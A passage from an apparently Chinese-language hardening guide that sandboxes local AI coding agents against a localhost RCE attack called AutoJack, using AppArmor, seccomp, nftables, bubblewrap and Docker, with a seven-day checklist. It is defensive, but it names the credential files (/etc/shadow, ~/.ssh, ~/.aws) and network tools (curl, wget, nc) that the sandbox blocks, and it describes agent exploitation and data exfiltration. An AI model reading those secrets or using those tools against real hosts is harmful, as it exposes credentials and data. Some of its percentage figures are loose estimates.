| 13. AppArmor profile 不 reload | 改了 profile 不生效 | apparmor_parser -r 漏了 | 必须 改完 profile 跑 apparmor_parser -r |
| 14. seccomp filter 写错 | Agent 直接启动失败 | 没测直接上 | 必须 用 seccomp-tools / libseccomp-tools 验证 |
| 15. 容器内 AppArmor 不生效 | aa-status 在容器内看不到 | 容器没显式挂载 AppArmor | 必须 docker --security-opt apparmor=aiagent-claude |
成本/性能/维护权衡
1. Token 成本:本方案不直接降低 LLM API token 成本,但降低「Agent 被 RCE 后被 exfil 数据的合规成本 + 保险费用 + 法务费用」——这部分 cost saving 比 token 节省大 10-100x(参考 IBM 2025 数据泄露平均成本 488 万美元)。
2. 性能成本:
- AppArmor enforce 模式:对单次 syscall 增加 < 1% 开销(实测 Linux kernel 5.15)
- seccomp BPF 模式:对单次 syscall 增加 < 5% 开销
- bubblewrap:启动慢 200-500ms(unshare namespace 的开销);长期运行几乎无开销
- Docker —security-opt:启动慢 1-3s(容器启动 + cgroup 设置);运行期 < 2% 开销
- nftables owner match:对每个出包增加 < 0.1ms 开销
3. 维护成本:
- AppArmor profile 更新频率:每月 1-2 次(npm / pip 升级会改 binary 路径)
- seccomp filter 更新频率:每 3-6 月 1 次(kernel 升级会改 syscall 表)
- nftables 规则更新频率:每月 1 次(LLM API IP 段会变,用域名解析拿 IP 比硬编码稳)
- Docker image 重建频率:每 1-2 周 1 次(基础镜像 + Claude Code 升级)
- auditd 日志清理:每周 1 次(
sudo logrotate -f /etc/logrotate.d/auditd)
4. 替代方案:
- 不动 AppArmor / seccomp,只用 Docker——可以拦 80% 攻击面,但拦不住 CWE-78(命令注入)——容器内 Agent 进程仍能 fork 任何 binary
- 不动 Docker,只用 bwrap——可以拦 90% 攻击面,但拦不住 syscall 级(如 ptrace、kexec_load)
- 只做 stage 1 + 2(独立账户 + 网络隔离)——可以拦 60% 攻击面——是最便宜的 MVP,做不到 100% 但比裸奔强 10 倍
- 跑 OpenAI / Anthropic 托管的 Agent(Codex Cloud / Claude.ai)——AutoJack 攻击面转移给厂商——合规上是把 risk transfer 给 OpenAI / Anthropic,但厂商的 RCE 风险你背不起
- 跑本地 LLM(Ollama / vLLM / llama.cpp)替代云端 LLM——降低数据 exfil 风险,但模型能力下降 + GPU 成本上升
5. 决策树:
- 你跑的是 dev 阶段 Agent(每天 1-2 小时)→ stage 1 + 2 + 5(独立账户 + nftables + Unix socket)足够,1 天搞定
- 你跑的是 生产阶段 Agent(每天 8+ 小时)→ stage 1 + 2 + 3 + 4 + 5 全做,1 周搞定
- 你跑的是 企业内网 / 金融 / 医疗 Agent → 全做 + 6/19 MCP EMA 治理(6/19 文章)+ 3 个月 SOC 2 审计
一周内可执行行动清单
按 day 排,前 5 步 6 小时内可完成:
D+0(今天,2 小时)——盘点 + audit
- 跑
ss -tlnp列出本机所有 localhost / 0.0.0.0 监听服务 - 写
localhost-attack-surface-audit.md(端口 / 服务 / 认证 / 共享 Agent / CWE 命中 / 风险等级) - 列出 5 个最危险的共享本机服务(AutoJack 同款)
- 列出本机所有 AI Agent 进程(
pgrep -fclaude / cursor / cline / codex / aider / windsurf)
D+1(明天,1 小时)——独立账户
-
useradd建 4 个 aiagent-* 账户(claude / cursor / cline / codex) -
setpriv --reuid切换账户启动 Agent -
ps -o pid,uid,user验证 Agent 进程 UID 不是 dev account - 把启动脚本改成
aiagent-claude-bwrap(阶段 4 写好的 wrapper)
D+2(2 小时)——网络隔离
- 装 nftables + 写
/etc/nftables.d/aiagent-isolation.nft - 用
dig +short api.anthropic.com拿 LLM API IP 段 -
nft -f加载规则 +nft list ruleset验证 -
sudo -u aiagent-claude curl测外网拦截 - 拦截 inbound
tcp dport != { 22, 443 }
D+3(2 小时)——AppArmor + seccomp
- 写
/etc/apparmor.d/aiagent-claudeprofile(audit模式,不要enforce) -
apparmor_parser -r加载 - 写
/etc/seccomp/aiagent-claude.json(用 auditd 数据生成,先不 enforce) - 验证
/etc/shadow拒绝读 - 验证
curl/wget/nc拒绝 exec
D+4-5(4 小时)——bubblewrap / Docker
- 写
/usr/local/bin/aiagent-claude-bwrap脚本 - 启动 + 验证
~/.ssh/~/.aws不可见 - 写
Dockerfile.aiagent-claude+ 构建 image -
docker run加--security-opt+--cap-drop ALL+--read-only - 验证 mount / ptrace / chmod 失败
D+6(2 小时)——Unix socket + 复现 PoC
- 改 MCP server config:
listen: unix:///run/aiagent-mcp/mcp.sock+auth.required: true+command.allowlist - 改 socket 权限 + group
- 复现 Microsoft Security 公开的 AutoJack PoC(用 test-agent-victim 账户)
- 验证四件套全拦
D+7(1 小时)——产出 + walkthrough
- 产出**「localhost 攻击面清单 v1.0」**(Markdown 表格)
- 产出**「AI Agent 零信任沙箱模板 v1.0」**(AppArmor + seccomp + nftables + bwrap / Docker 4 件套)
- 产出**「4 CWE 修复 checklist」**(CWE-1385 / 306 / 78 / 缺默认 sandbox)
- 产出**「30/90 天路线图」**(30 天:所有 dev 机 + staging;90 天:所有生产 Agent + 第三方 audit)
- 走 CISO / VP Eng walkthrough(参考 6/21 快报第 3 条 + 6/19 MCP EMA 治理)
附:参考资料
- Microsoft Security Blog 6/18 原文:AutoJack - A single page RCE the host running an AI agent
- HN 6/20 讨论 AutoJack
- 6/21 AI 快报 AutoJack 详细拆解
- 6/19 MCP EMA 治理落地
- 6/18 OpenRath Session 协同底座
- Linux man pages: seccomp(2), apparmor(7), landlock(7), nft(8), bubblewrap(1)
- Docker security docs: —security-opt, —cap-drop, —read-only
- CWE-1385 Missing Origin Validation in WebSockets
- CWE-306 Missing Authentication for Critical Function
- CWE-78 OS Command Injection
- AutoGen GitHub repo
- IBM 2025 Cost of a Data Breach Report